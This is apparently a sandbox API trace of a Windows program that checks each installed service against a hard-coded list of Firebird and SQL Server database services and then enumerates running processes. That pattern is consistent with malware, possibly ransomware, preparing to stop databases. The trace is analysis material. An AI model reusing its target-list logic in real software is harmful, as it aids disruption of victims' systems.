	[0175.951] lstrlenW (lpString="EventLog") returned 8
	[0175.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0175.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0175.951] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0175.951] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0175.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0175.951] lstrlenW (lpString="EventSystem") returned 11
	[0175.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0175.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0175.951] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0175.951] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0175.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0175.951] lstrlenW (lpString="FontCache") returned 9
	[0175.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0175.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0175.952] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0175.952] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0175.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0175.952] lstrlenW (lpString="gpsvc") returned 5
	[0175.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0175.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0175.952] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0175.952] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0175.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0175.952] lstrlenW (lpString="iphlpsvc") returned 8
	[0175.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0175.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0175.952] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0175.952] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0175.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0175.952] lstrlenW (lpString="KeyIso") returned 6
	[0175.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0175.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0175.952] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0175.952] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0175.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0175.952] lstrlenW (lpString="LanmanServer") returned 12
	[0175.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0175.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0175.952] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0175.952] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0175.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0175.952] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0175.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0175.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0175.953] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0175.953] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0175.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0175.953] lstrlenW (lpString="lfsvc") returned 5
	[0175.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0175.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0175.953] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0175.953] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0175.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0175.953] lstrlenW (lpString="lmhosts") returned 7
	[0175.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0175.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0175.953] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0175.953] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0175.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0175.953] lstrlenW (lpString="LSM") returned 3
	[0175.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0175.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0175.953] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0175.953] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0175.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0175.953] lstrlenW (lpString="MpsSvc") returned 6
	[0175.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0176.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0176.385] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0176.385] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0176.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0176.385] lstrlenW (lpString="NcbService") returned 10
	[0176.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0176.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0176.385] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0176.385] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0176.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0176.385] lstrlenW (lpString="netprofm") returned 8
	[0176.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0176.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0176.385] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0176.385] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0176.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0176.386] lstrlenW (lpString="NgcSvc") returned 6
	[0176.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0176.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0176.386] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0176.386] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0176.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0176.386] lstrlenW (lpString="NlaSvc") returned 6
	[0176.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0176.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0176.386] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0176.386] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0176.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0176.386] lstrlenW (lpString="nsi") returned 3
	[0176.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0176.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0176.386] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0176.386] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0176.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0176.386] lstrlenW (lpString="PcaSvc") returned 6
	[0176.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0176.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0176.386] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0176.386] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0176.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0176.386] lstrlenW (lpString="PlugPlay") returned 8
	[0176.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0176.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0176.386] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0176.386] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0176.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0176.387] lstrlenW (lpString="Power") returned 5
	[0176.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0176.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0176.387] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0176.387] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0176.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0176.387] lstrlenW (lpString="ProfSvc") returned 7
	[0176.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0176.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0176.387] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0176.387] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0176.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0176.387] lstrlenW (lpString="RpcEptMapper") returned 12
	[0176.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0176.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0176.387] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0176.387] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0176.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0176.387] lstrlenW (lpString="RpcSs") returned 5
	[0176.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0176.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0176.387] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0176.387] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0176.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0176.387] lstrlenW (lpString="SamSs") returned 5
	[0176.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0176.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0176.387] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0176.387] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0176.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0176.388] lstrlenW (lpString="Schedule") returned 8
	[0176.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0176.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0176.388] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0176.388] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0176.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0176.388] lstrlenW (lpString="SecurityHealthService") returned 21
	[0176.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0176.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0176.388] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0176.388] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0176.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0176.388] lstrlenW (lpString="SENS") returned 4
	[0176.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0176.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0176.388] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0176.388] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0176.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0176.388] lstrlenW (lpString="ShellHWDetection") returned 16
	[0176.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0176.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0176.388] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0176.388] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0176.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0176.388] lstrlenW (lpString="Spooler") returned 7
	[0176.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0176.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0176.388] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0176.388] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0176.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0176.389] lstrlenW (lpString="StateRepository") returned 15
	[0176.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0176.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0176.389] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0176.389] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0176.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0176.389] lstrlenW (lpString="SysMain") returned 7
	[0176.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0176.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0176.389] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0176.389] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0176.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0176.389] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0176.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0176.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0176.389] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0176.389] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0176.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0176.389] lstrlenW (lpString="Themes") returned 6
	[0176.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0176.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0176.389] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0176.389] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0176.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0176.389] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0176.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0176.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0176.389] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0176.389] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0176.390] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0176.390] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x36c
	[0176.397] Process32FirstW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0176.398] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0176.398] lstrlenW (lpString="System") returned 6
	[0176.398] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0176.400] lstrlenW (lpString="smss.exe") returned 8
	[0176.400] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0176.400] lstrlenW (lpString="csrss.exe") returned 9
	[0176.400] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0176.401] lstrlenW (lpString="wininit.exe") returned 11
	[0176.401] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0176.401] lstrlenW (lpString="csrss.exe") returned 9
	[0176.401] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0176.402] lstrlenW (lpString="winlogon.exe") returned 12
	[0176.402] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0176.402] lstrlenW (lpString="services.exe") returned 12
	[0176.402] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0176.402] lstrlenW (lpString="lsass.exe") returned 9
	[0176.403] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0176.403] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0176.403] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0176.403] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0176.403] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.404] lstrlenW (lpString="svchost.exe") returned 11
	[0176.404] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.404] lstrlenW (lpString="svchost.exe") returned 11
	[0176.404] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0176.405] lstrlenW (lpString="dwm.exe") returned 7
	[0176.405] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.405] lstrlenW (lpString="svchost.exe") returned 11
	[0176.405] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.406] lstrlenW (lpString="svchost.exe") returned 11
	[0176.406] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.406] lstrlenW (lpString="svchost.exe") returned 11
	[0176.406] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.407] lstrlenW (lpString="svchost.exe") returned 11
	[0176.407] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.407] lstrlenW (lpString="svchost.exe") returned 11
	[0176.407] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.408] lstrlenW (lpString="svchost.exe") returned 11
	[0176.408] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.408] lstrlenW (lpString="svchost.exe") returned 11
	[0176.408] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.409] lstrlenW (lpString="svchost.exe") returned 11
	[0176.409] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.409] lstrlenW (lpString="svchost.exe") returned 11
	[0176.409] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.410] lstrlenW (lpString="svchost.exe") returned 11
	[0176.410] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0176.410] lstrlenW (lpString="spoolsv.exe") returned 11
	[0176.410] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.411] lstrlenW (lpString="svchost.exe") returned 11
	[0176.411] Process32NextW (in: hSnapshot=0x36c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0176.411] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
